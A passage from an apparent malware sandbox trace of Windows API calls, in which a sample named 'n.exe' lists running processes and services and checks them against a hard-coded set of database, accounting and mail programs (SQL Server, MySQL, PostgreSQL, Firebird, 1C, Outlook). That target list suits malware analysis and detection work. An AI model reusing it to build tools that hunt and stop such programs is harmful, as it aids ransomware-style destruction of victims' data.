(lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0171.215] lstrlenW (lpString="UxSms") returned 5 [0171.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0171.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0171.215] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0171.215] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0171.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0171.215] lstrlenW (lpString="WdiServiceHost") returned 14 [0171.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0171.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0171.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0171.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0171.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0171.215] lstrlenW (lpString="WdiSystemHost") returned 13 [0171.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0171.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0171.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0171.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0171.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0171.215] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0171.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0171.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0171.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0171.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0171.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0171.215] lstrlenW (lpString="Winmgmt") returned 7 [0171.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0171.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0171.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0171.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0171.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0171.216] lstrlenW (lpString="WPDBusEnum") returned 10 [0171.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0171.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0171.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0171.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0171.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0171.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0171.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0171.217] Process32FirstW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.218] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.218] lstrlenW (lpString="System") returned 6 [0171.218] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0171.218] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0171.218] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0171.218] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0171.218] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0171.218] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0171.218] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0171.218] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.219] lstrlenW (lpString="smss.exe") returned 8 [0171.219] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0171.219] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.219] lstrlenW (lpString="csrss.exe") returned 9 [0171.219] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0171.219] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0171.220] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0171.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0171.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0171.220] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0171.220] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.220] lstrlenW (lpString="wininit.exe") returned 11 [0171.220] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0171.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0171.220] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0171.220] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0171.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0171.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0171.220] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0171.220] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.221] lstrlenW (lpString="csrss.exe") returned 9 [0171.221] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0171.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0171.221] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0171.221] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0171.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0171.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0171.221] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.221] lstrlenW (lpString="winlogon.exe") returned 12 [0171.221] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.222] lstrlenW (lpString="services.exe") returned 12 [0171.222] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.222] lstrlenW (lpString="lsass.exe") returned 9 [0171.222] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0171.222] lstrlenW (lpString="lsm.exe") returned 7 [0171.222] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.223] lstrlenW (lpString="svchost.exe") returned 11 [0171.223] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.223] lstrlenW (lpString="svchost.exe") returned 11 [0171.223] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.224] lstrlenW (lpString="svchost.exe") returned 11 [0171.224] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.224] lstrlenW (lpString="svchost.exe") returned 11 [0171.224] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.224] lstrlenW (lpString="svchost.exe") returned 11 [0171.224] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.225] lstrlenW (lpString="audiodg.exe") returned 11 [0171.225] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.225] lstrlenW (lpString="svchost.exe") returned 11 [0171.225] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.225] lstrlenW (lpString="explorer.exe") returned 12 [0171.225] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.226] lstrlenW (lpString="dwm.exe") returned 7 [0171.226] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.226] lstrlenW (lpString="svchost.exe") returned 11 [0171.226] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0171.226] lstrlenW (lpString="n.exe") returned 5 [0171.226] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.227] lstrlenW (lpString="spoolsv.exe") returned 11 [0171.227] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.227] lstrlenW (lpString="svchost.exe") returned 11 [0171.227] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0171.227] lstrlenW (lpString="taskhost.exe") returned 12 [0171.228] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0171.228] lstrlenW (lpString="reader_sl.exe") returned 13 [0171.228] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0171.228] lstrlenW (lpString="n.exe") returned 5 [0171.228] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0171.229] lstrlenW (lpString="n.exe") returned 5 [0171.229] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0171.229] CloseHandle (hObject=0x320) returned 1 [0171.229] Sleep (dwMilliseconds=0x1f4) [0172.002] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0172.002] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0172.002] GetLastError () returned 0xea [0172.002] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0172.002] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0172.003] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0172.003] lstrlenW (lpString="Appinfo") returned 7 [0172.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.003] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.003] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.003] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.003] lstrlenW (lpString="AudioSrv") returned 8 [0172.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0172.004] lstrlenW (lpString="BFE") returned 3 [0172.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.004] lstrlenW (lpString="CryptSvc") returned 8 [0172.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.004] lstrlenW (lpString="CscService") returned 10 [0172.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0172.004] lstrlenW (lpString="DcomLaunch") returned 10 [0172.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.004] lstrlenW (lpString="Dhcp") returned 4 [0172.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.005] lstrlenW (lpString="Dnscache") returned 8 [0172.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.005] lstrlenW (lpString="DPS") returned 3 [0172.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.005] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.005] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.005] lstrlenW (lpString="eventlog") returned 8 [0172.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0172.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0172.005] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0172.005] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0172.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0172.005] lstrlenW (lpString="EventSystem") returned 11 [0172.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.005] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.005] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.005] lstrlenW (lpString="gpsvc") returned 5 [0172.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.006] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.006] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.006] lstrlenW (lpString="iphlpsvc") returned 8 [0172.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.006] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.006] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.006] lstrlenW (lpString="LanmanServer") returned 12 [0172.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.006] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.006] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.006] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.006] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.006] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.006] lstrlenW (lpString="lmhosts") returned 7 [0172.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.006] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.006] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0172.006] lstrlenW (lpString="MMCSS") returned 5 [0172.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0172.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0172.007] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0172.007] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0172.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0172.007] lstrlenW (lpString="MpsSvc") returned 6 [0172.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0172.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0172.007] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0172.007] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0172.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0172.007] lstrlenW (lpString="Netman") returned 6 [0172.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0172.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned 